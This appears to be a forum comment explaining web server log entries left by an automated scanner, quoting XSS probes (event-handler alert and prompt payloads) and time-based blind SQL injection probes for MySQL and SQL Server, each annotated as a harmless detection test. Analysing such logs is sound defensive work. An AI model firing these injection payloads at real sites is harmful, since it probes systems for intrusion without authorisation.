All of these request look to be coming from an automated testing tool.
Contrary to what some comments are saying, the delays are not malicious, just to blindly test for code execution; if you can't see a response, having it sleep for a set number of seconds is a reliable test.
GET /site/public/timing?<!+XSS="> <img+src=xx:x+onerror=alert(14721850.00337)//"> HTTP/1.1" 200 6718
GET /site/public/timing?<sVg/OnLOaD=prompt(14721850.00307)> HTTP/1.1" 200 6718
XSS attempts, tries to alert 14721850.00307 / 337 to see if the page is vulnerable.
GET /site/race/registrationAuth/1761?x"+onmousemove=" HTTP/1.1" 302 -
Somewhat unclear, no functional code. Looks like XSS using an event handlert to circumvent filters
GET /site/registration/create/3269?execution=e1s1'+(select*from(select(sleep(3)))tw)+' HTTP/1.1" 302 -
MySQL v5 attack.
Despite the SELECT statement, it only tries to let the server sleep for 3 seconds to see if it's vulnerable.
GET /site/registration/create/3269?execution=e1s1%20waitfor delay'0:0:3'
Microsoft SQL Server attack. Same story, no malicious code, just a single 3s delay.